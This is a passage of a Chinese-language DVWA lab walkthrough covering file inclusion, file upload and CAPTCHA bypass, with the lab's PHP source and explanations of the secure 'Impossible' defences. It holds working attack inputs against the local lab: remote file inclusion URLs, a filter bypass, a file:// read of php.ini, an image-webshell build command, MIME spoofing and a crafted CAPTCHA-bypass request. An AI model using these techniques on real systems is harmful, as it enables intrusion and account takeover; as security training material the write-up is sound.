http://127.0.0.1/DVWA/vulnerabilities/fi/?page=http://x.x.x.x/phpinfo.txt
,來執行phpinfo()函數
檢視源碼
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>
Medium
檢視源碼
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?>
發現對
http://
https://
../
..\
進行了過濾,可以大小寫或者雙寫繞過
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=htthttp://p://x.x.x.x/phpinfo.txt
High
檢視源碼
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
High級别的代碼使用了fnmatch函數檢查page參數,要求page參數的開頭必須是file,伺服器才會去包含相應的檔案
我們可以利用file協定來讀取檔案
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file://D:\phpstudy\PHPTutorial\WWW\DVWA\php.ini
Impossible
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
可以看到,Impossible級别的代碼使用了白名單過濾的方法,包含的檔案名隻能等于白名單中的檔案,是以避免了檔案包含漏洞的産生
File Upload
File Upload即檔案上傳
Low
無防禦,直接上傳一個php檔案,成功
Medium
檢視源碼
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
// Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
$html .= '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
$html .= "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
$html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
這裡驗證了檔案的mime類型和大小
抓包改
Content-Type
為
image/jpeg
或
image/png
放包,上傳成功
High
檢視源碼
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Is it an image?
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
// No
$html .= '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
$html .= "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
$html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
這裡限制上傳的檔案的字尾名必須以jpg、jpeg、png結尾,同時上傳的檔案必須是有效的圖檔格式
圖檔馬繞過即可
将一張正常圖檔1.jpg末尾包含惡意代碼webshell.jpg
copy 1.jpg/b + webshell.php/a webshell.jpg
即可上傳成功
Impossible
檢視源碼
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
//$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
$target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
$temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
$temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
// Is it an image?
if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
( $uploaded_size < 100000 ) &&
( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
getimagesize( $uploaded_tmp ) ) {
// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp );
imagejpeg( $img, $temp_file, 100);
}
else {
$img = imagecreatefrompng( $uploaded_tmp );
imagepng( $img, $temp_file, 9);
}
imagedestroy( $img );
// Can we move the file to the web root from the temp folder?
if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
// Yes!
$html .= "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
}
else {
// No
$html .= '<pre>Your image was not uploaded.</pre>';
}
// Delete any temp files
if( file_exists( $temp_file ) )
unlink( $temp_file );
}
else {
// Invalid file
$html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
uniqid()
函數基于以微秒計的目前時間,生成一個唯一的 ID。
imagecreatefrom
系列函數用于從檔案或 URL 載入一幅圖像,成功傳回圖像資源,失敗則傳回一個空字元串。
magejpeg(image,filename,quality)
:從image圖像中以
filename
檔案名建立一個
jpeg
圖檔,參數
quality
可選,0-100 (品質從小到大)
imagedestroy(image)
:銷毀圖像
可以看到,Impossible級别對上傳的檔案進行了重命名(為md5值,導緻00截斷無法繞過過濾規則),并且加入
Anti-CSRF token
防護
CSRF
攻擊,同時對檔案的内容作了嚴格的檢查,導緻攻擊者無法上傳含有惡意腳本的檔案
Insecure CAPTCHA(未科學上網)
Insecure CAPTCHA即不安全的驗證碼
PS:需要科學上網才能出現驗證碼
Low
伺服器将改密操作分成了兩步,第一步檢查使用者輸入的驗證碼,驗證通過後,伺服器傳回表單,第二步用戶端送出post請求,伺服器完成更改密碼的操作。但是,這其中存在明顯的邏輯漏洞,伺服器僅僅通過檢查Change、step 參數來判斷使用者是否已經輸入了正确的驗證碼
沒科學上網是以無驗證碼,修改失敗
這個時候我們抓包,将step改為2
修改成功
當然也可以CSRF攻擊,具體看這篇
Medium
在前面的基礎上增加了一個參數
成功
High
檢視源碼
<?php
if( isset( $_POST[ 'Change' ] ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key' ],
$_POST['g-recaptcha-response']
);
if (
$resp ||
(
$_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3'
&& $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA'
)
){
// CAPTCHA was correct. Do both new passwords match?
if ($pass_new == $pass_conf) {
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for user
$html .= "<pre>Password Changed.</pre>";
} else {
// Ops. Password mismatch
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false;
}
} else {
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>
可以看到,伺服器的驗證邏輯是當$resp(這裡是指谷歌傳回的驗證結果)是false,并且參數recaptcha_response_field不等于hidd3n_valu3(或者http標頭的User-Agent參數不等于reCAPTCHA)時,就認為驗證碼輸入錯誤,反之則認為已經通過了驗證碼的檢查。
抓包,修改
User-Agent: reCAPTCHA step=1&password_new=aa&password_conf=aa&user_token=13f47dfd2f6d5131d74ffc2b657356a5&Change=Change&g-recaptcha-response=hidd3n_valu3
放包,成功
Impossible
檢視源碼
<?php
if( isset( $_POST[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_new = stripslashes( $pass_new );
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
$pass_conf = $_POST[ 'password_conf' ];
$pass_conf = stripslashes( $pass_conf );
$pass_conf = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_conf ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_conf = md5( $pass_conf );
$pass_curr = $_POST[ 'password_current' ];
$pass_curr = stripslashes( $pass_curr );
$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_curr = md5( $pass_curr );
// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key' ],
$_POST['g-recaptcha-response']
);
// Did the CAPTCHA fail?
if( !$resp ) {
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
else {
// Check that the current password is correct
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute();
// Do both new password match and was the current password correct?
if( ( $pass_new == $pass_conf) && ( $data->rowCount() == 1 ) ) {
// Update the database
$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->execute();
// Feedback for the end user - success!
$html .= "<pre>Password Changed.</pre>";
}
else {
// Feedback for the end user - failed!
$html .= "<pre>Either your current password is incorrect or the new passwords did not match.<br />Please try again.</pre>";
$hide_form = false;
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
可以看到,Impossible級别的代碼增加了Anti-CSRF token 機制防禦CSRF攻擊,利用PDO技術防護sql注入,驗證過程終于不再分成兩部分了,驗證碼無法繞過,同時要求使用者輸入之前的密碼,進一步加強了身份認證
總結
1.DVWA重要的不是過關,而是了解具體函數的作用(代碼審計),最後明白Impossible是如何防禦的
2.CSRF真的沒懂
3.Insecure CAPTCHA以後要科學上網,然後把谷歌驗證碼解決
4.Insecure CAPTCHA也可以CSRF攻擊
5.代碼審計依舊是求也不會
2020.3.27